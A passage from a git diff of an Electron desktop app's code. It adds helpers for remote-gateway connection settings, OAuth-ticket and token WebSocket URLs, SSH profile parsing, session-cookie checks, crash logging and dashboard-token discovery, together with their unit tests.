+  assert.equal(serverFailure.message, 'retry connection')
+  assert.equal(serverFailure.needsOauthLogin, undefined)
+})
+
+test('gateway WS URL IPC result serializes success and the auth-vs-transport matrix', async () => {
+  assert.deepEqual(await gatewayWsUrlIpcResult(async () => 'wss://gateway.example.com/api/ws?ticket=fresh'), {
+    ok: true,
+    wsUrl: 'wss://gateway.example.com/api/ws?ticket=fresh'
+  })
+
+  for (const statusCode of [401, 403]) {
+    const error = Object.assign(new Error(`${statusCode}: rejected`), { statusCode })
+
+    assert.deepEqual(await gatewayWsUrlIpcResult(async () => Promise.reject(error)), {
+      error: `${statusCode}: rejected`,
+      needsOauthLogin: true,
+      ok: false
+    })
+  }
+
+  for (const error of [
+    Object.assign(new Error('500: unavailable'), { statusCode: 500 }),
+    new Error('Timed out connecting to ClawCodex backend after 8000ms'),
+    Object.assign(new Error('socket reset'), { code: 'ECONNRESET' })
+  ]) {
+    assert.deepEqual(await gatewayWsUrlIpcResult(async () => Promise.reject(error)), {
+      error: error.message,
+      ok: false
+    })
+  }
+})
+
+test('resolveTestWsUrl (oauth) requires a mintTicket function', async () => {
+  await assert.rejects(
+    () => resolveTestWsUrl('https://gw.example.com', 'oauth', null),
+    /mintTicket function is required/
+  )
+})
diff --git a/ui-desktop/electron/connection-config.ts b/ui-desktop/electron/connection-config.ts
new file mode 100644
index 000000000..0b0ff86ed
--- /dev/null
+++ b/ui-desktop/electron/connection-config.ts
@@ -0,0 +1,589 @@
+/**
+ * connection-config.ts
+ *
+ * Pure, electron-free helpers for the desktop's remote-gateway connection
+ * config: URL normalization, WS-URL construction (token vs OAuth ticket),
+ * auth-mode classification, and the auth-mode coercion rules.
+ *
+ * Kept standalone (no `import 'electron'`) so it can be unit-tested with
+ * `node --test` — same pattern as backend-probes.ts / bootstrap-platform.ts.
+ * main.ts requires these and wires them into the electron-coupled IPC layer.
+ *
+ * Background on the two auth models a remote gateway can use:
+ *   - 'token': legacy static dashboard session token. REST uses an
+ *     `X-ClawCodex-Session-Token` header; WS uses `?token=`.
+ *   - 'oauth': hosted gateways gate behind an OAuth provider. REST is authed
+ *     by an HttpOnly session cookie; WS upgrades require a single-use
+ *     `?ticket=` minted at POST /api/auth/ws-ticket. The gateway advertises
+ *     this via the public `/api/status` field `auth_required: true`.
+ */
+
+// Bare + prefixed variants of the session cookies the gateway may set,
+// depending on its deploy shape (HTTPS direct → __Host-, behind a path prefix
+// → __Secure-, loopback HTTP → bare). Mirrors
+// clawcodex_cli/dashboard_auth/cookies.py.
+//
+// Two cookies are in play (see that module):
+//   - clawcodex_session_at: the OAuth access token. Short-lived (~15 min); its
+//     Max-Age tracks the access-token TTL, so the cookie jar drops it the
+//     instant the AT expires.
+//   - clawcodex_session_rt: the OAuth refresh token. Long-lived (24h rotating,
+//     reuse-detected — Portal NAS #293 / clawcodex #37247). When the AT cookie
+//     has lapsed but the RT cookie is still present, the gateway middleware
+//     transparently rotates a fresh AT on the next authenticated request
+//     (POST /api/auth/ws-ticket), so the session is still LIVE even with no
+//     AT cookie. A liveness check that looked only at the AT cookie would
+//     force a needless full re-login every ~15 min — hence cookiesHaveLiveSession.
+const AT_COOKIE_VARIANTS = ['__Host-clawcodex_session_at', '__Secure-clawcodex_session_at', 'clawcodex_session_at']
+const RT_COOKIE_VARIANTS = ['__Host-clawcodex_session_rt', '__Secure-clawcodex_session_rt', 'clawcodex_session_rt']
+
+// The Nous portal (NAS) does NOT use ClawCodex gateway session cookies — it is a
+// Privy-authed Next.js app. NAS `auth()` (src/server/auth/session.ts) reads the
+// `privy-token` access-token cookie (with `privy-id-token` alongside), which is
+// also exactly what the `/api/agents` cookie-auth path validates. So portal
+// sign-in / discovery liveness must look for the Privy cookie, NOT the gateway
+// cookies above. `privy-token` is the access token (the required signal);
+// variants cover the secured-prefix forms and the older `privy-session` name.
+const PRIVY_SESSION_COOKIE_VARIANTS = ['__Host-privy-token', '__Secure-privy-token', 'privy-token', 'privy-session']
+// Keep this aligned with clawcodex_cli.profiles.validate_profile_name(). `default`
+// is the built-in root alias; these names cannot be created as profiles.
+const RESERVED_REMOTE_PROFILES = new Set(['clawcodex', 'test', 'tmp', 'root', 'sudo'])
+
+function normalizeRemoteBaseUrl(rawUrl) {
+  let value = String(rawUrl || '').trim()
+
+  if (!value) {
+    throw new Error('Remote gateway URL is required.')
+  }
+
+  // Users routinely paste scheme-less "host:port" (a Tailscale IP, a LAN
+  // hostname). Without this, `new URL('100.64.0.1:9119')` either throws or —
+  // worse — parses `host:` as the protocol and produces a baffling
+  // "must be http:// or https://, got myhost:" error. Only a real
+  // `scheme://` prefix opts out, so explicit non-http schemes (ftp://,
+  // file://) still reach the protocol check below and get rejected.
+  if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(value)) {
+    value = `http://${value}`
+  }
+
+  let parsed
+
+  try {
+    parsed = new URL(value)
+  } catch (error) {
+    throw new Error(`Remote gateway URL is not valid: ${error.message}`)
+  }
+
+  if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
+    throw new Error(`Remote gateway URL must be http:// or https://, got ${parsed.protocol}`)
+  }
+
+  parsed.hash = ''
+  parsed.search = ''
+  parsed.pathname = parsed.pathname.replace(/\/+$/, '')
+
+  return parsed.toString().replace(/\/+$/, '')
+}
+
+function buildGatewayWsUrl(baseUrl, token) {
+  const parsed = new URL(baseUrl)
+  const wsScheme = parsed.protocol === 'https:' ? 'wss' : 'ws'
+  const prefix = parsed.pathname.replace(/\/+$/, '')
+
+  return `${wsScheme}://${parsed.host}${prefix}/api/ws?token=${encodeURIComponent(token)}`
+}
+
+function buildGatewayWsUrlWithTicket(baseUrl, ticket) {
+  const parsed = new URL(baseUrl)
+  const wsScheme = parsed.protocol === 'https:' ? 'wss' : 'ws'
+  const prefix = parsed.pathname.replace(/\/+$/, '')
+
+  return `${wsScheme}://${parsed.host}${prefix}/api/ws?ticket=${encodeURIComponent(ticket)}`
+}
+
+/** True only when a gateway explicitly rejected the current OAuth session. */
+function isGatewayAuthRejection(error) {
+  if (error && typeof error === 'object' && (error as any).needsOauthLogin === true) {
+    return true
+  }
+
+  const statusCode = Number(error && typeof error === 'object' ? (error as any).statusCode : NaN)
+
+  return statusCode === 401 || statusCode === 403
+}
+
+function gatewayTicketFailure(error, authMessage, transportMessage) {
+  const needsOauthLogin = isGatewayAuthRejection(error)
+  const err = new Error(needsOauthLogin ? authMessage : transportMessage)
+
+  if (needsOauthLogin) {
+    ;(err as any).needsOauthLogin = true
+  }
+
+  err.cause = error
+
+  return err
+}
+
+/** Serialize a fresh-WS-URL attempt across Electron's IPC boundary. */
+async function gatewayWsUrlIpcResult(resolveWsUrl: () => Promise<string>) {
+  try {
+    return { ok: true as const, wsUrl: await resolveWsUrl() }
+  } catch (error) {
+    return {
+      error: error instanceof Error ? error.message : String(error),
+      ...(isGatewayAuthRejection(error) ? { needsOauthLogin: true as const } : {}),
+      ok: false as const
+    }
+  }
+}
+
+/**
+ * Build the WS URL the renderer would connect with, so the connection test can
+ * exercise the same transport the app actually uses.
+ *
+ * The OAuth ticket-minter is injected (`mintTicket(baseUrl) -> Promise<ticket>`)
+ * so this stays electron-free and unit-testable; main.ts passes the real
+ * `mintGatewayWsTicket`.
+ *
+ * Return semantics:
+ *   - token mode + token   → ws(s)://…/api/ws?token=…
+ *   - token mode, no token → null  (genuine skip; nothing to authenticate with)
+ *   - oauth, mint ok       → ws(s)://…/api/ws?ticket=…
+ *   - oauth, mint fails    → THROWS  (NOT a skip)
+ *
+ * The oauth-mint-failure throw is the important case: swallowing it here would
+ * re-introduce the exact false-positive this test exists to catch. An explicit
+ * 401/403 asks for sign-in; transport and server failures remain connectivity
+ * errors so a temporary outage is not mislabeled as an expired session.
+ *
+ * @param {string} baseUrl
+ * @param {'token'|'oauth'} authMode
+ * @param {string|null} token
+ * @param {{ mintTicket: (baseUrl: string) => Promise<string> }} deps
+ * @returns {Promise<string|null>}
+ */
+async function resolveTestWsUrl(baseUrl, authMode, token, deps: any = {}) {
+  if (authMode === 'oauth') {
+    const mintTicket = deps.mintTicket
+
+    if (typeof mintTicket !== 'function') {
+      throw new Error('resolveTestWsUrl: a mintTicket function is required in OAuth mode.')
+    }
+
+    let ticket
+
+    try {
+      ticket = await mintTicket(baseUrl)
+    } catch (error) {
+      throw gatewayTicketFailure(
+        error,
+        'Reached the gateway over HTTP, but the OAuth session was rejected while minting a WebSocket ticket. ' +
+          'Open Settings → Gateway and sign in again.',
+        'Reached the gateway over HTTP, but could not mint a WebSocket ticket. Check the remote gateway connection and try again.'
+      )
+    }
+
+    return buildGatewayWsUrlWithTicket(baseUrl, ticket)
+  }
+
+  if (!token) {
+    return null
+  }
+
+  return buildGatewayWsUrl(baseUrl, token)
+}
+
+// Normalize a profile name to a connection scope key, or null for the global
+// (default) connection. Shared by the resolver and the IPC layer.
+function connectionScopeKey(profile) {
+  return String(profile ?? '').trim() || null
+}
+
+// Coerce a remote auth mode to one of the two supported values ('token' default).
+function normAuthMode(mode) {
+  return mode === 'oauth' ? 'oauth' : 'token'
+}
+
+// True for connection modes that resolve to a REMOTE backend. 'cloud' is a
+// ClawCodex Cloud connection (cloud-auto-discovery Q3/Q6): it carries a
+// remote-shaped block and reuses the entire remote connect/probe/reconnect
+// path, so every resolution site treats it exactly like 'remote'. The only
+// places that distinguish cloud from remote are the settings UI (which card to
+// show) and config persistence (remembering the provenance). Centralized here
+// so no resolution site forgets the third arm.
+function modeIsRemoteLike(mode) {
+  return mode === 'remote' || mode === 'cloud'
+}
+
+function normalizeSshConfig(entry) {
+  if (!entry || typeof entry !== 'object' || entry.mode !== 'ssh') {
+    return null
+  }
+
+  let host = String(entry.host || '').trim()
+
+  if (!host) {
+    return null
+  }
+
+  let parsedUser
+  let parsedPort
+  const at = host.indexOf('@')
+
+  if (at > 0) {
+    parsedUser = host.slice(0, at)
+    host = host.slice(at + 1)
+  }
+
+  const bracketed = /^\[([^\]]+)](?::(\d+))?$/.exec(host)
+
+  if (bracketed) {
+    host = bracketed[1]
+
+    if (bracketed[2]) {
+      parsedPort = Number(bracketed[2])
+    }
+  } else if ((host.match(/:/g) || []).length === 1) {
+    const [name, rawPort] = host.split(':')
+
+    if (/^\d+$/.test(rawPort)) {
+      host = name
+      parsedPort = Number(rawPort)
+    }
+  }
+
+  if (!host) {
+    return null
+  }
+
+  const out: any = { mode: 'ssh', host }
+  const user = String(entry.user || '').trim() || parsedUser || ''
+
+  if (user) {
+    out.user = user
+  }
+
+  const rawExplicitPort = String(entry.port ?? '').trim()
+  const explicitPort = /^\d+$/.test(rawExplicitPort) ? Number(rawExplicitPort) : null
+  const port = explicitPort ?? parsedPort
+
+  if (Number.isInteger(port) && port > 0 && port <= 65535 && port !== 22) {
+    out.port = port
+  }
+
+  const keyPath = String(entry.keyPath || '').trim()
+
+  if (keyPath) {
+    out.keyPath = keyPath
+  }
+
+  const remoteClawCodexPath = String(entry.remoteClawCodexPath || '').trim()
+
+  if (remoteClawCodexPath) {
+    out.remoteClawCodexPath = remoteClawCodexPath
+  }
+
+  // A Desktop profile can be a local routing label rather than the profile
+  // name used by the remote ClawCodex installation. Preserve an explicit mapping
+  // when it is a valid ClawCodex profile identifier; otherwise fall back to the
+  // historical same-name behavior in the caller.
+  const remoteProfile = String(entry.remoteProfile || '').trim()
+
+  if (/^[a-z0-9][a-z0-9_-]{0,63}$/.test(remoteProfile) && !RESERVED_REMOTE_PROFILES.has(remoteProfile)) {
+    out.remoteProfile = remoteProfile
+  }
+
+  return out
+}
+
+function profileSshOverride(config, profile) {
+  const key = connectionScopeKey(profile)
+  const entry = key ? config?.profiles?.[key] : null
+
+  return normalizeSshConfig(entry)
+}
+
+function savedProfileSsh(config, profile) {
+  const key = connectionScopeKey(profile)
+  const entry = key ? config?.profiles?.[key] : null
+
+  if (!entry || entry.mode !== 'local') {
+    return null
+  }
+
+  return normalizeSshConfig(entry.savedSsh)
+}
+
+function profileHasRemoteConnection(config, profile) {
+  return Boolean(profileRemoteOverride(config, profile) || profileSshOverride(config, profile))
+}
+
+function localProfileEntry(existing) {
+  const ssh = normalizeSshConfig(existing) || normalizeSshConfig(existing?.savedSsh)
+
+  return ssh ? { mode: 'local', savedSsh: ssh } : null
+}
+
+function hostLabelFromBaseUrl(baseUrl) {
+  const raw = String(baseUrl || '').trim()
+
+  if (!raw) {
+    return null
+  }
+
+  try {
+    const parsed = new URL(raw)
+
+    if (!parsed.hostname) {
+      return null
+    }
+
+    return parsed.port && parsed.port !== '80' && parsed.port !== '443'
+      ? `${parsed.hostname}:${parsed.port}`
+      : parsed.hostname
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Select a profile's explicit remote override from a connection config, or null
+ * when it has none (so the caller falls back to env → global remote → local).
+ *
+ * The config may carry a `profiles` map keyed by name; an entry counts as an
+ * override only with a remote-like `mode` (remote or cloud) and a non-empty
+ * `url`. Pure: `token` is the raw stored secret; main.ts decrypts it. Returns
+ * `{ url, authMode, token } | null`.
+ */
+function profileRemoteOverride(config, profile) {
+  const key = connectionScopeKey(profile)
+  const entry = key ? config?.profiles?.[key] : null
+
+  if (!entry || typeof entry !== 'object' || !modeIsRemoteLike(entry.mode)) {
+    return null
+  }
+
+  const url = String(entry.url || '').trim()
+
+  if (!url) {
+    return null
+  }
+
+  return { url, authMode: normAuthMode(entry.authMode), token: entry.token }
+}
+
+export interface ProfileRouteOptions {
+  globalRemote?: boolean
+  primaryProfile?: null | string
+  profileRemoteOverride?: boolean
+}
+
+export interface ProfileBackendRoute {
+  /** Which backend serves this profile: the window backend, or a pooled one. */
+  backend: 'pool' | 'primary'
+  /**
+   * Profile to tag on the returned descriptor when the backend is shared and
+   * therefore not itself scoped to that profile. Null when the backend already
+   * belongs to the profile.
+   */
+  descriptorProfile: null | string
+  /** Whether REST paths on this route must carry `?profile=` to be scoped. */
+  scopePath: boolean
+}
+
+/**
+ * The one place that answers "which backend serves profile P, and does its
+ * REST path need a profile scope?". Four routes, in precedence order:
+ *
+ *  1. The primary profile owns the window backend outright.
+ *  2. A profile with its own remote override gets a pooled descriptor for that
+ *     host, which is already scoped to it.
+ *  3. A profile inheriting the app-global remote shares the primary backend —
+ *     one host serves every profile — so it is scoped per request instead.
+ *  4. Any other local profile gets its own pooled backend, spawned with
+ *     `--profile`, so its `CLAWCODEX_CONFIG_DIR` scopes it.
+ *
+ * Routing used to be spread across three overlapping predicates that each
+ * re-derived part of this table, which is how case 3 ended up registering
+ * reapable pool entries for backends it never owned.
+ */
+function resolveProfileBackendRoute(profile, opts: ProfileRouteOptions = {}): ProfileBackendRoute {
+  const scopedProfile = connectionScopeKey(profile)
+  const primaryProfile = connectionScopeKey(opts.primaryProfile) || 'default'
+
+  if (!scopedProfile || scopedProfile === primaryProfile) {
+    return { backend: 'primary', descriptorProfile: null, scopePath: false }
+  }
+
+  if (opts.profileRemoteOverride) {
+    return { backend: 'pool', descriptorProfile: null, scopePath: false }
+  }
+
+  if (opts.globalRemote) {
+    return { backend: 'primary', descriptorProfile: scopedProfile, scopePath: true }
+  }
+
+  return { backend: 'pool', descriptorProfile: null, scopePath: false }
+}
+
+/**
+ * Add renderer-side `request.profile` to a REST path when the route says the
+ * serving backend is not already scoped to that profile.
+ */
+function pathWithGlobalRemoteProfile(path, profile, opts: ProfileRouteOptions = {}) {
+  const scopedProfile = connectionScopeKey(profile)
+
+  if (!resolveProfileBackendRoute(profile, opts).scopePath) {
+    return path
+  }
+
+  const rawPath = String(path || '')
+
+  if (!rawPath) {
+    return path
+  }
+
+  let parsed
+
+  try {
+    parsed = new URL(rawPath, 'http://clawcodex.local')
+  } catch {
+    return path
+  }
+
+  if (parsed.searchParams.has('profile')) {
+    return path
+  }
+
+  parsed.searchParams.set('profile', scopedProfile)
+
+  return `${parsed.pathname}${parsed.search}${parsed.hash}`
+}
+
+function tokenPreview(value) {
+  const raw = String(value || '')
+
+  if (!raw) {
+    return null
+  }
+
+  return raw.length <= 8 ? 'set' : `...${raw.slice(-6)}`
+}
+
+/**
+ * Classify a gateway's auth mode from its public /api/status body.
+ * `auth_required: true` → OAuth gate engaged; otherwise legacy token auth.
+ * Returns 'oauth' | 'token'.
+ */
+function authModeFromStatus(statusBody) {
+  return statusBody && statusBody.auth_required ? 'oauth' : 'token'
+}
+
+/**
+ * Resolve the effective auth mode for a coerce/save operation.
+ * Explicit input wins; otherwise inherit the saved value; default 'token'.
+ * Returns 'oauth' | 'token'.
+ */
+function resolveAuthMode(inputAuthMode, existingAuthMode) {
+  if (inputAuthMode === 'oauth') {
+    return 'oauth'
+  }
+
+  if (inputAuthMode === 'token') {
+    return 'token'
+  }
+
+  if (existingAuthMode === 'oauth') {
+    return 'oauth'
+  }
+
+  return 'token'
+}
+
+/**
+ * True if any cookie in `cookies` is a clawcodex session ACCESS-token cookie
+ * with a non-empty value. `cookies` is an array of {name, value} (the shape
+ * Electron's session.cookies.get returns).
+ *
+ * Note: this is AT-only. A session whose AT cookie has lapsed but whose RT
+ * cookie is still alive is STILL connectable (the gateway refreshes the AT on
+ * the next request) — use `cookiesHaveLiveSession` for a connectivity/display
+ * check. `cookiesHaveSession` remains exported for callers that specifically
+ * need to know whether an unexpired access token is present right now.
+ */
+function cookiesHaveSession(cookies) {
+  if (!Array.isArray(cookies)) {
+    return false
+  }
+
+  return cookies.some(c => c && AT_COOKIE_VARIANTS.includes(c.name) && c.value)
+}
+
+/**
+ * True if the cookie jar holds a credential that can yield an authenticated
+ * request — EITHER a live access-token cookie OR a refresh-token cookie. The
+ * RT cookie outlives the AT cookie (24h vs ~15min), and the gateway middleware
+ * transparently rotates a fresh AT from the RT on the next authenticated
+ * request. Gating connectivity on the AT alone would force a full IDP
+ * re-login every ~15 min even though a valid 24h RT is sitting in the jar.
+ *
+ * This answers "should we even attempt to connect / show as signed in?", not
+ * "is the access token unexpired?". The authoritative liveness check is still
+ * the actual ws-ticket mint at connect time (which surfaces a true 401 when
+ * the RT is also dead/revoked).
+ */
+function cookiesHaveLiveSession(cookies) {
+  if (!Array.isArray(cookies)) {
+    return false
+  }
+
+  return cookies.some(c => c && c.value && (AT_COOKIE_VARIANTS.includes(c.name) || RT_COOKIE_VARIANTS.includes(c.name)))
+}
+
+/**
+ * True if the cookie jar holds a live Nous PORTAL (Privy) session — a non-empty
+ * `privy-token` (access-token) cookie, or a variant. This is the portal
+ * analogue of `cookiesHaveLiveSession`: the portal authenticates via Privy, not
+ * the ClawCodex gateway session cookies, so cloud sign-in / discovery liveness
+ * must check THIS, not the gateway helpers. (NAS `auth()` and the `/api/agents`
+ * cookie path both key off `privy-token`.)
+ */
+function cookiesHavePrivySession(cookies) {
+  if (!Array.isArray(cookies)) {
+    return false
+  }
+
+  return cookies.some(c => c && c.value && PRIVY_SESSION_COOKIE_VARIANTS.includes(c.name))
+}
+
+export {
+  AT_COOKIE_VARIANTS,
+  authModeFromStatus,
+  buildGatewayWsUrl,
+  buildGatewayWsUrlWithTicket,
+  connectionScopeKey,
+  cookiesHaveLiveSession,
+  cookiesHavePrivySession,
+  cookiesHaveSession,
+  gatewayTicketFailure,
+  gatewayWsUrlIpcResult,
+  hostLabelFromBaseUrl,
+  isGatewayAuthRejection,
+  localProfileEntry,
+  modeIsRemoteLike,
+  normalizeRemoteBaseUrl,
+  normalizeSshConfig,
+  normAuthMode,
+  pathWithGlobalRemoteProfile,
+  PRIVY_SESSION_COOKIE_VARIANTS,
+  profileHasRemoteConnection,
+  profileRemoteOverride,
+  profileSshOverride,
+  resolveAuthMode,
+  resolveProfileBackendRoute,
+  resolveTestWsUrl,
+  RT_COOKIE_VARIANTS,
+  savedProfileSsh,
+  tokenPreview
+}
diff --git a/ui-desktop/electron/crash-forensics.test.ts b/ui-desktop/electron/crash-forensics.test.ts
new file mode 100644
index 000000000..ea53493b4
--- /dev/null
+++ b/ui-desktop/electron/crash-forensics.test.ts
@@ -0,0 +1,70 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import { describeCrashReason, installCrashForensics } from './crash-forensics'
+
+const harness = () => {
+  const listeners = new Map<string, (value: unknown) => void>()
+  const flush = vi.fn()
+  const log = vi.fn()
+
+  installCrashForensics({
+    flush,
+    log,
+    target: { on: (event, listener) => listeners.set(event, listener) }
+  })
+
+  return { flush, listeners, log }
+}
+
+describe('describeCrashReason', () => {
+  it('prefers a stack, then a message, for thrown errors', () => {
+    const withStack = new Error('boom')
+    withStack.stack = 'Error: boom\n    at somewhere'
+
+    expect(describeCrashReason(withStack)).toBe('Error: boom\n    at somewhere')
+
+    const withoutStack = new Error('boom')
+    withoutStack.stack = ''
+
+    expect(describeCrashReason(withoutStack)).toBe('boom')
+  })
+
+  it('renders non-error rejections without throwing', () => {
+    expect(describeCrashReason('plain string')).toBe('plain string')
+    expect(describeCrashReason({ code: 'ECONNRESET' })).toBe('{"code":"ECONNRESET"}')
+    expect(describeCrashReason(undefined)).toBe('undefined')
+
+    const circular: Record<string, unknown> = {}
+    circular.self = circular
+
+    expect(describeCrashReason(circular)).toBe('[object Object]')
+  })
+})
+
+describe('installCrashForensics', () => {
+  it('records and synchronously flushes an uncaught exception', () => {
+    const { flush, listeners, log } = harness()
+    const error = new Error('renderer gone')
+    error.stack = 'Error: renderer gone\n    at main'
+
+    listeners.get('uncaughtException')?.(error)
+
+    expect(log).toHaveBeenCalledWith('[main] Uncaught exception: Error: renderer gone\n    at main')
+    expect(flush).toHaveBeenCalledTimes(1)
+  })
+
+  it('records and synchronously flushes an unhandled rejection', () => {
+    const { flush, listeners, log } = harness()
+
+    listeners.get('unhandledRejection')?.('gateway ticket mint failed')
+
+    expect(log).toHaveBeenCalledWith('[main] Unhandled rejection: gateway ticket mint failed')
+    expect(flush).toHaveBeenCalledTimes(1)
+  })
+
+  it('registers both handlers', () => {
+    const { listeners } = harness()
+
+    expect([...listeners.keys()].sort()).toEqual(['uncaughtException', 'unhandledRejection'])
+  })
+})
diff --git a/ui-desktop/electron/crash-forensics.ts b/ui-desktop/electron/crash-forensics.ts
new file mode 100644
index 000000000..7a6e28939
--- /dev/null
+++ b/ui-desktop/electron/crash-forensics.ts
@@ -0,0 +1,51 @@
+/**
+ * Last-chance forensics for the Electron main process.
+ *
+ * Electron installs its own `uncaughtException` listener and only warns on
+ * unhandled rejections, so the app usually survives — but the reason lands on
+ * stderr alone, which is discarded entirely when the app is launched from
+ * Finder or the Start menu. Without a record in desktop.log, a main-process
+ * fault is invisible in a `clawcodex debug share` bundle and the user is left
+ * describing symptoms instead of showing a stack.
+ */
+
+export interface CrashForensicsTarget {
+  on: (event: 'uncaughtException' | 'unhandledRejection', listener: (value: unknown) => void) => unknown
+}
+
+export interface CrashForensicsOptions {
+  flush: () => void
+  log: (message: string) => void
+  target?: CrashForensicsTarget
+}
+
+/** Render a thrown value for the log, preferring a stack over a bare message. */
+export function describeCrashReason(reason: unknown): string {
+  if (reason instanceof Error) {
+    return reason.stack || reason.message || reason.name || 'Error'
+  }
+
+  if (typeof reason === 'string') {
+    return reason
+  }
+
+  try {
+    return JSON.stringify(reason) ?? String(reason)
+  } catch {
+    return String(reason)
+  }
+}
+
+/**
+ * Record main-process faults to desktop.log and flush synchronously, since a
+ * fault that does prove fatal leaves no chance for the batched async flush.
+ */
+export function installCrashForensics({ flush, log, target = process }: CrashForensicsOptions): void {
+  const record = (label: string) => (reason: unknown) => {
+    log(`[main] ${label}: ${describeCrashReason(reason)}`)
+    flush()
+  }
+
+  target.on('uncaughtException', record('Uncaught exception'))
+  target.on('unhandledRejection', record('Unhandled rejection'))
+}
diff --git a/ui-desktop/electron/dashboard-token.test.ts b/ui-desktop/electron/dashboard-token.test.ts
new file mode 100644
index 000000000..938f9650f
--- /dev/null
+++ b/ui-desktop/electron/dashboard-token.test.ts
@@ -0,0 +1,147 @@
+/**
+ * Tests for electron/dashboard-token.ts.
+ *
+ * Run with: node --test electron/dashboard-token.test.ts
+ * (Wired into npm test:desktop:platforms in package.json.)
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  adoptServedDashboardToken,
+  dashboardIndexUrl,
+  extractInjectedDashboardToken,
+  fetchPublicText,
+  isForeignBackendToken,
+  resolveServedDashboardToken
+} from './dashboard-token'
+
+test('extractInjectedDashboardToken reads the JSON-encoded dashboard token', () => {
+  const html = '<script>window.__CLAWCODEX_SESSION_TOKEN__="served-token";window.__CLAWCODEX_BASE_PATH__=""</script>'
+  assert.equal(extractInjectedDashboardToken(html), 'served-token')
+})
+
+test('extractInjectedDashboardToken handles escaped token strings', () => {
+  const html = '<script>window.__CLAWCODEX_SESSION_TOKEN__="served\\\\token\\"quoted";</script>'
+  assert.equal(extractInjectedDashboardToken(html), 'served\\token"quoted')
+})
+
+test('extractInjectedDashboardToken returns null for missing or malformed values', () => {
+  assert.equal(extractInjectedDashboardToken('<html></html>'), null)
+  assert.equal(extractInjectedDashboardToken('<script>window.__CLAWCODEX_SESSION_TOKEN__={bad}</script>'), null)
+})
+
+test('dashboardIndexUrl preserves dashboard path prefixes', () => {
+  assert.equal(dashboardIndexUrl('http://127.0.0.1:9120'), 'http://127.0.0.1:9120/')
+  assert.equal(dashboardIndexUrl('https://host.example/clawcodex/'), 'https://host.example/clawcodex/')
+})
+
+test('resolveServedDashboardToken uses the served token and logs when it differs', async () => {
+  const logs = []
+
+  const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+    fetchText: async url => {
+      assert.equal(url, 'http://127.0.0.1:9120/')
+
+      return '<script>window.__CLAWCODEX_SESSION_TOKEN__="served-token";</script>'
+    },
+    rememberLog: line => logs.push(line)
+  })
+
+  assert.equal(token, 'served-token')
+  assert.equal(logs.length, 1)
+  assert.match(logs[0], /served a different session token/)
+})
+
+test('resolveServedDashboardToken falls back when the served HTML has no token', async () => {
+  const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+    fetchText: async () => '<html></html>',
+    rememberLog: () => {
+      throw new Error('should not log when no served token is present')
+    }
+  })
+
+  assert.equal(token, 'spawn-token')
+})
+
+test('resolveServedDashboardToken does not log when served token matches fallback', async () => {
+  const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'same-token', {
+    fetchText: async () => '<script>window.__CLAWCODEX_SESSION_TOKEN__="same-token";</script>',
+    rememberLog: () => {
+      throw new Error('should not log when token already matches')
+    }
+  })
+
+  assert.equal(token, 'same-token')
+})
+
+test('resolveServedDashboardToken propagates fetch errors so callers can fall back explicitly', async () => {
+  await assert.rejects(
+    () =>
+      resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+        fetchText: async () => {
+          throw new Error('boom')
+        }
+      }),
+    /boom/
+  )
+})
+
+test('fetchPublicText rejects unsupported protocols', async () => {
+  await assert.rejects(() => fetchPublicText('file:///tmp/index.html'), /Unsupported ClawCodex backend URL protocol/)
+})
+
+test('isForeignBackendToken only flags a mismatched token from a dead child', () => {
+  const cases = [
+    [{ servedToken: 'other', spawnToken: 'mine', childAlive: false }, true],
+    // Live child + drift = our backend regenerated the token (env pin lost).
+    [{ servedToken: 'other', spawnToken: 'mine', childAlive: true }, false],
+    [{ servedToken: 'mine', spawnToken: 'mine', childAlive: false }, false],
+    [{ servedToken: 'mine', spawnToken: 'mine', childAlive: true }, false],
+    [{ servedToken: null, spawnToken: 'mine', childAlive: false }, false],
+    [{ servedToken: '', spawnToken: 'mine', childAlive: false }, false]
+  ]
+
+  for (const [input, expected] of cases) {
+    assert.equal(isForeignBackendToken(input as any), expected, JSON.stringify(input))
+  }
+})
+
+test('adoptServedDashboardToken adopts drift from a live child', async () => {
+  const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+    childAlive: () => true,
+    fetchText: async () => '<script>window.__CLAWCODEX_SESSION_TOKEN__="served-token";</script>'
+  })
+
+  assert.equal(token, 'served-token')
+})
+
+test('adoptServedDashboardToken refuses a foreign token when our child is dead', async () => {
+  await assert.rejects(
+    () =>
+      adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+        childAlive: () => false,
+        fetchText: async () => '<script>window.__CLAWCODEX_SESSION_TOKEN__="squatter-token";</script>',
+        label: 'ClawCodex backend for profile "work"'
+      }),
+    /profile "work".*process we did not spawn/
+  )
+})
+
+test('adoptServedDashboardToken falls back to the spawn token when the fetch fails', async () => {
+  const logs = []
+
+  const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+    childAlive: () => true,
+    fetchText: async () => {
+      throw new Error('boom')
+    },
+    rememberLog: line => logs.push(line)
+  })
+
+  assert.equal(token, 'spawn-token')
+  assert.equal(logs.length, 1)
+  assert.match(logs[0], /could not read served dashboard token \(ClawCodex backend\): boom/)
+})
diff --git a/ui-desktop/electron/dashboard-token.ts b/ui-desktop/electron/dashboard-token.ts
new file mode 100644
index 000000000..ca6c754ef
--- /dev/null
+++ b/ui-desktop/electron/dashboard-token.ts
@@ -0,0 +1,112 @@
+/**
+ * Helpers for local dashboard session-token discovery.
+ *
+ * The desktop main process can pass CLAWCODEX_DASHBOARD_SESSION_TOKEN when it
+ * spawns the local dashboard, but the dashboard is the source of truth for the
+ * token it actually serves to the renderer. If those drift, HTTP readiness
+ * probes still pass while /api/ws rejects the renderer's token.
+ */
+
+const DEFAULT_TOKEN_FETCH_TIMEOUT_MS = 3_000
+
+async function fetchPublicText(url, options: any = {}) {
+  const { protocol } = new URL(url)
+
+  if (protocol !== 'http:' && protocol !== 'https:') {
+    throw new Error(`Unsupported ClawCodex backend URL protocol: ${protocol}`)
+  }
+
+  const timeoutMs = options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
+
